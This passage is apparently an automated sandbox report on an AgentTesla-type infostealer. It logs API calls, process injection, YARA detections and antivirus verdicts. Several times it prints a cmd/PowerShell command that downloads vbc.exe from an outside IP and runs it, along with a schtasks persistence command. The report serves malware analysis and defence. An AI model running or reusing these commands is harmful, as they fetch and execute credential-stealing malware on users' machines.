NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef159f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 3, 2021, 9:12 a.m.	process_identifier: 2044 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef15a0000 process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\vbc.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (6 events)

cmdline	"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
cmdline	powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe')
cmdline	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp"
cmdline	cmd /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit
cmdline	powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe'
cmdline	schtasks.exe /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\vbc.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\vbc.exe

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 3, 2021, 9:12 a.m.	show_type: 0 filepath_r: cmd parameters: /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit filepath: cmd	1	1	0
ShellExecuteExW Sept. 3, 2021, 9:13 a.m.	show_type: 0 filepath_r: schtasks.exe parameters: /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp" filepath: schtasks.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 3, 2021, 9:12 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (1 event)

Data received

¨Ö_<oIO¨ %Èá~Iàªzû7ª Þú³ÇgÑCßëÿ9ãó2ª¨Y7örúä¥!EòîAÎ-Å°IÊõ:\åØ¼2ú·²*¸ÑÅªªæh²H^×Íô¾£¼=à½pîi¬_¦¹2²@G¨Pw>µÚ@ö{ê§IËKa6Üí«ã¬Öã4ªûµ1HHdsÎ³¬;ö¿¿Üè0ûªÝF·2R½gõtÏ¬BÙÃÖã7 ·7Iê^jb ¾ËÞ<ÓeÚ.xìÔð©R=vbÏ³²7p½û]ºç¿pAì;<Zù*ªD×Ô yJp\¥/Û[_a/âk²¸Ä:sñ]¸K.íóîÉGo563pºJZÖJìÖ¹}öNüëËë êùa}'ÿ¬sõ:@ñ¸PüGç]$bq3d ¨é]wÆ**/µï3GP7ô,f×;ïdöUôÛ£ö%²Û`DX®miòüùù«ÔC·øw®b| )9¹½ÎÖ8Å Ïpkø7= 8höô_Q&x¾× OÕ\MErEA#TÀ§NÓÎçn;¯OãD68µqÈ¹5¸ÔAsP sùáYíÞM ^ë°àÄ &ÕÜ9G6R?;eÆ ³'âN>·õyx#»<gêE\@ïéô¿0ÿ«§è0OUXeG®qH¯GnE¤ö¬]Ö@??ÙMJ½TN»F|!ßÞ¥ èÛ1¶Ó[ÝqõK'¸ÓA}G?qsGbØ»Ôök·7¹u$lçEìw g"`ð Öü$L;¥¿ww@LÿíaX=J¯«Æè+(ó®^¬òßÝ-öh«À%ÏÐÅt<ósX ·_3%ë²æÈ2q/»a05ñ2K?T+nh!2Èim:Üã|VävBlÍÐ&kÈá~d"Ôh2ïn+¥ê8DNvk;ßÈI)JÄ@·üè<-uÊG¶=¦gçØÜ&A-@'¬ù\E³ðÃíPgK=OýîáFMm©U$5¹UîK×ñª-§m¤£ñ º*Ì'R+m¬f|X6£ªoåðIgG±ú2Kkõ°Óçÿ5B)|¥} 1HDÚ'¢(B3ìd|3ÑOigagìÊ3ãÍc°74AãFZ©Lìn{çå^¿¦Ò8 íÐ4N¡©V¾ê\·H©¼VHUëð!ÞàG]7S~ð¤ö±RxR$Æbn ×s¿VJ·ÑÏjÂmOÔ¨¢T<¶yàH {ÉâÛ·>°7ûS5Ì*ÍQBØÿoqÝ@´8::æLÂFæ©RÎ#A¹=ïë hf(#æ'D~«ÀiµOt¸ýÙÚ_6å¶×RêìWtÊ¹??âtKýMÉ\[ZáÌ'zÛÑrÄSÃ9¯öFìfW¢éçàÁDFñ9èÇ¹ÐÊøÍ¯]Vçø*(ìª¢Pi°<]-EÉrÒ5Õþn.u5ÙñTWxsá÷PYô52nØ×7ØJ#$¿eÌíôR}àÃp±Ð Çñ¬¹%¡»ïF'}~½ìÄ=í«Fû"í;k¿¼Ç»ûóvÞpS$û4Éx°æp¿±àâE§ò â±Û¹éK¯åýëÀÁâ5*ªrh«PV }Ö°¢K)(âÅ½ümVK½üÿ«7æN{Qú¥kDPd¦¬îÿøûz¿0 ¢bq³.¡Æà¾)ÅË^ÕhbBzfë,¸1äòqØ&ºnL¹»Ðr¼h¯D$Aôio#JCó);2})ÏSåàä?Ê`´#[°,-Ä0°eæVÝL"Ä]îë"4écÀ¢üç>º+]`\¹áaDsÐ@ÙO^òÐmÒÞ¦*j±A¸¢E§òß2ðwLÆzcÖ&Úwù9Dv @ºÝõº:K3éQ?xV:8Y.$ÐK:dëæÔ×Yç&Ë¶KMw¤2¼ÞÈøN+c ?«È(r½Ì

Poweshell is sending data to a remote host (1 event)

Data sent

GET /kswb/vbc.exe HTTP/1.1 Host: 198.23.251.109 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Sept. 3, 2021, 9:12 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 3, 2021, 9:12 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Sept. 3, 2021, 9:13 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (19 events)

description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Google Chrome User Data Check	rule	Chrome_User_Data_Check_Zero
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Win.Trojan.agentTesla	rule	Win_Trojan_agentTesla_Zero
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	browser info stealer	rule	infoStealer_browser_Zero
description	File Downloader	rule	Network_Downloader
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess Sept. 3, 2021, 9:13 a.m.	status_code: 0xffffffff process_identifier: 192 process_handle: 0x000003c0		0	0
NtTerminateProcess Sept. 3, 2021, 9:13 a.m.	status_code: 0xffffffff process_identifier: 192 process_handle: 0x000003c0	1	0	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp"
cmdline	schtasks.exe /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp"

Communicates with host for which no DNS query was performed (2 events)

host	198.23.251.109
host	45.137.22.77

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 3, 2021, 9:13 a.m.	process_identifier: 192 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003b8		3221225496	0
NtAllocateVirtualMemory Sept. 3, 2021, 9:13 a.m.	process_identifier: 412 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003b0	1	0	0

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1768 manipulating memory of non-child process 192
NtAllocateVirtualMemory Sept. 3, 2021, 9:13 a.m.	process_identifier: 192 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003b8		3221225496	0

Potential code injection by writing to the memory of another process (5 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ªB0îâ,cîâ,cîâ,cZ~Ýcüâ,cZ~ßcOâ,cZ~Þcðâ,cç¨cïâ,cpBëcìâ,cÕ¼/bôâ,cÕ¼)bÔâ,cÕ¼(bÌâ,cç¿cûâ,cîâ-cñã,cy¼%b±â,c\|¼Ócïâ,cy¼.bïâ,cRichîâ,cPELMSaà l÷0@ÜKP80l8Älhl@0t.text¶ `.rdatao0p@@.data\= @À.tls à@À.gfids0ð@@.rsrcKL¢@@.reloc8P:î@B base_address: 0x00400000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.ÿÿÿÿ ´tE¸wE²tE..¡FL¶FL¶FL¶FL¶FL¶FL¶FL¶FL¶FL¶F¡FP¶FP¶FP¶FP¶FP¶FP¶FP¶F¡Fÿÿÿÿ¸wE¨¢F¨¢F¨¢F¨¢F¨¢F¡F8zE¸{EEè¡F§FCPSTPDT°¢Fð¢Fÿÿÿÿÿÿÿÿÿÿÿÿ ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ§Fþÿÿÿþÿÿÿu0Ï!tåa¾e¸Â¢z»^ âÈ¨346E.?AVtype_info@@46E.?AVbad_alloc@std@@46E.?AVbad_array_new_length@std@@46E.?AVlogic_error@std@@46E.?AVlength_error@std@@46E.?AVout_of_range@std@@46E.?AV_Facet_base@std@@46E.?AV_Locimp@locale@std@@46E.?AVfacet@locale@std@@46E.?AU_Crt_new_delete@std@@46E.?AVcodecvt_base@std@@46E.?AUctype_base@std@@46E.?AV?$ctype@D@std@@46E.?AV?$codecvt@DDU_Mbstatet@@@std@@46E.?AVbad_exception@std@@46E.H46E.?AVfailure@ios_base@std@@46E.?AVruntime_error@std@@46E.?AVsystem_error@std@@46E.?AVbad_cast@std@@46E.?AV_System_error@std@@46E.?AVexception@std@@ base_address: 0x0046a000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: base_address: 0x0046e000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: +ÔÔ?¤Ø¾Ø?Ù?)s?ÚuZ55g;Ù.~~Dñìð??m(À'ÆØØ®õÐûõÛÝÛÝÛ(jk¡iæÞ\F£ã¥w¡Ô(´öä¼éÙ b Er4NPNWN]TUZ[ äøää äö_^îØØäüûüû í9<8;ú` ¢§µ¶³´±²¯°¸ Y base_address: 0x0046f000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 412 process_handle: 0x000003b0	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ªB0îâ,cîâ,cîâ,cZ~Ýcüâ,cZ~ßcOâ,cZ~Þcðâ,cç¨cïâ,cpBëcìâ,cÕ¼/bôâ,cÕ¼)bÔâ,cÕ¼(bÌâ,cç¿cûâ,cîâ-cñã,cy¼%b±â,c\|¼Ócïâ,cy¼.bïâ,cRichîâ,cPELMSaà l÷0@ÜKP80l8Älhl@0t.text¶ `.rdatao0p@@.data\= @À.tls à@À.gfids0ð@@.rsrcKL¢@@.reloc8P:î@B base_address: 0x00400000 process_identifier: 412 process_handle: 0x000003b0	1	1	0

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send Sept. 3, 2021, 9:12 a.m.	buffer: GET /kswb/vbc.exe HTTP/1.1 Host: 198.23.251.109 Connection: Keep-Alive socket: 1256 sent: 76	1	76	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1768 called NtSetContextThread to modify thread in remote process 412
NtSetContextThread Sept. 3, 2021, 9:13 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4388716 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000003c0 process_identifier: 412	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Local\Temp\vbc.exe"
parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Local\Temp\vbc.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1768 resumed a thread in remote process 412
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000003c0 suspend_count: 1 process_identifier: 412	1	0	0

Creates a suspicious Powershell process (3 events)

value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line
value	Uses powershell to execute a file download from the command line

File has been identified by 27 AntiVirus engines on VirusTotal as malicious (27 events)

Lionic	Trojan.MSIL.Nitol.4!c
Elastic	malicious (high confidence)
FireEye	Generic.mg.9ac22682b4c95a59
McAfee	AgentTesla-FDCM!9AC22682B4C9
Cylance	Unsafe
Sangfor	Suspicious.Win32.Save.a
Alibaba	Trojan:MSIL/Nitol.0fbcf4c4
CrowdStrike	win/malicious_confidence_80% (W)
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Kryptik.ACOO
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.MSIL.Nitol.gen
Tencent	Msil.Trojan.Nitol.Hwwg
Sophos	Mal/Generic-S
McAfee-GW-Edition	BehavesLike.Win32.Generic.xz
SentinelOne	Static AI - Malicious PE
Webroot	W32.Trojan.Gen
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	HEUR:Trojan.MSIL.Nitol.gen
BitDefenderTheta	Gen:NN.ZemsilF.34126.am0@aSX1Mdd
Ikarus	Win32.Outbreak
eGambit	Unsafe.AI_Score_97%
Fortinet	MSIL/Kryptik.ACOO!tr
Cybereason	malicious.0ed200
MaxSecure	Trojan.Malware.300983.susgen

Executed a process and injected code into it, probably while unpacking (49 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x00000000000000c4 suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x0000000000000134 suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x0000000000000180 suspend_count: 1 process_identifier: 2972	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x00000000000001ec suspend_count: 1 process_identifier: 2972	1	0
CreateProcessInternalW Sept. 3, 2021, 9:12 a.m.	thread_identifier: 596 thread_handle: 0x0000000000000360 process_identifier: 2084 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', '%Temp%\\vbc.exe') & powershell Start-Process -FilePath '%Temp%\\vbc.exe' & exit filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000368	1	1
CreateProcessInternalW Sept. 3, 2021, 9:12 a.m.	thread_identifier: 556 thread_handle: 0x0000000000000060 process_identifier: 2044 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell (New-Object System.Net.WebClient).DownloadFile('http://198.23.251.109/kswb/vbc.exe', 'C:\Users\test22\AppData\Local\Temp\\vbc.exe') filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000000000000064	1	1
CreateProcessInternalW Sept. 3, 2021, 9:12 a.m.	thread_identifier: 200 thread_handle: 0x0000000000000064 process_identifier: 2952 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\vbc.exe' filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000000000000060	1	1
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x0000000000000284 suspend_count: 1 process_identifier: 2044	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x00000000000002d8 suspend_count: 1 process_identifier: 2044	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x0000000000000368 suspend_count: 1 process_identifier: 2044	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x00000000000004cc suspend_count: 1 process_identifier: 2044	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x0000000000000520 suspend_count: 1 process_identifier: 2044	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x0000000000000298 suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x00000000000002ec suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x000000000000037c suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread Sept. 3, 2021, 9:12 a.m.	thread_handle: 0x0000000000000398 suspend_count: 1 process_identifier: 2952	1	0
CreateProcessInternalW Sept. 3, 2021, 9:13 a.m.	thread_identifier: 2812 thread_handle: 0x0000000000000484 process_identifier: 1768 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000000000000048c	1	1
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x00000000000004b0 suspend_count: 1 process_identifier: 2952	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1768	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 1768	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 1768	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x00000200 suspend_count: 1 process_identifier: 1768	1	0
NtGetContextThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 1768	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x00000278 suspend_count: 1 process_identifier: 1768	1	0
NtGetContextThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 1768	1	0
NtResumeThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000002c4 suspend_count: 1 process_identifier: 1768	1	0
CreateProcessInternalW Sept. 3, 2021, 9:13 a.m.	thread_identifier: 2532 thread_handle: 0x000003f4 process_identifier: 1120 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\schtasks.exe track: 1 command_line: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrydnNPJDpA" /XML "C:\Users\test22\AppData\Local\Temp\tmpF929.tmp" filepath_r: C:\Windows\System32\schtasks.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000003fc	1	1
CreateProcessInternalW Sept. 3, 2021, 9:13 a.m.	thread_identifier: 844 thread_handle: 0x000003bc process_identifier: 192 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000003b8	1	1
NtGetContextThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000003bc	1	0
NtAllocateVirtualMemory Sept. 3, 2021, 9:13 a.m.	process_identifier: 192 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003b8		3221225496
CreateProcessInternalW Sept. 3, 2021, 9:13 a.m.	thread_identifier: 2340 thread_handle: 0x000003c0 process_identifier: 412 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000003b0	1	1
NtGetContextThread Sept. 3, 2021, 9:13 a.m.	thread_handle: 0x000003c0	1	0
NtAllocateVirtualMemory Sept. 3, 2021, 9:13 a.m.	process_identifier: 412 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003b0	1	0
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ªB0îâ,cîâ,cîâ,cZ~Ýcüâ,cZ~ßcOâ,cZ~Þcðâ,cç¨cïâ,cpBëcìâ,cÕ¼/bôâ,cÕ¼)bÔâ,cÕ¼(bÌâ,cç¿cûâ,cîâ-cñã,cy¼%b±â,c\|¼Ócïâ,cy¼.bïâ,cRichîâ,cPELMSaà l÷0@ÜKP80l8Älhl@0t.text¶ `.rdatao0p@@.data\= @À.tls à@À.gfids0ð@@.rsrcKL¢@@.reloc8P:î@B base_address: 0x00400000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: base_address: 0x00401000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: base_address: 0x00453000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿ Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.ÿÿÿÿ ´tE¸wE²tE..¡FL¶FL¶FL¶FL¶FL¶FL¶FL¶FL¶FL¶F¡FP¶FP¶FP¶FP¶FP¶FP¶FP¶F¡Fÿÿÿÿ¸wE¨¢F¨¢F¨¢F¨¢F¨¢F¡F8zE¸{EEè¡F§FCPSTPDT°¢Fð¢Fÿÿÿÿÿÿÿÿÿÿÿÿ ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ§Fþÿÿÿþÿÿÿu0Ï!tåa¾e¸Â¢z»^ âÈ¨346E.?AVtype_info@@46E.?AVbad_alloc@std@@46E.?AVbad_array_new_length@std@@46E.?AVlogic_error@std@@46E.?AVlength_error@std@@46E.?AVout_of_range@std@@46E.?AV_Facet_base@std@@46E.?AV_Locimp@locale@std@@46E.?AVfacet@locale@std@@46E.?AU_Crt_new_delete@std@@46E.?AVcodecvt_base@std@@46E.?AUctype_base@std@@46E.?AV?$ctype@D@std@@46E.?AV?$codecvt@DDU_Mbstatet@@@std@@46E.?AVbad_exception@std@@46E.H46E.?AVfailure@ios_base@std@@46E.?AVruntime_error@std@@46E.?AVsystem_error@std@@46E.?AVbad_cast@std@@46E.?AV_System_error@std@@46E.?AVexception@std@@ base_address: 0x0046a000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: base_address: 0x0046e000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: +ÔÔ?¤Ø¾Ø?Ù?)s?ÚuZ55g;Ù.~~Dñìð??m(À'ÆØØ®õÐûõÛÝÛÝÛ(jk¡iæÞ\F£ã¥w¡Ô(´öä¼éÙ b Er4NPNWN]TUZ[ äøää äö_^îØØäüûüû í9<8;ú` ¢§µ¶³´±²¯°¸ Y base_address: 0x0046f000 process_identifier: 412 process_handle: 0x000003b0	1	1
WriteProcessMemory Sept. 3, 2021, 9:13 a.m.	buffer: base_address: 0x00470000 process_identifier: 412 process_handle: 0x000003b0	1	1
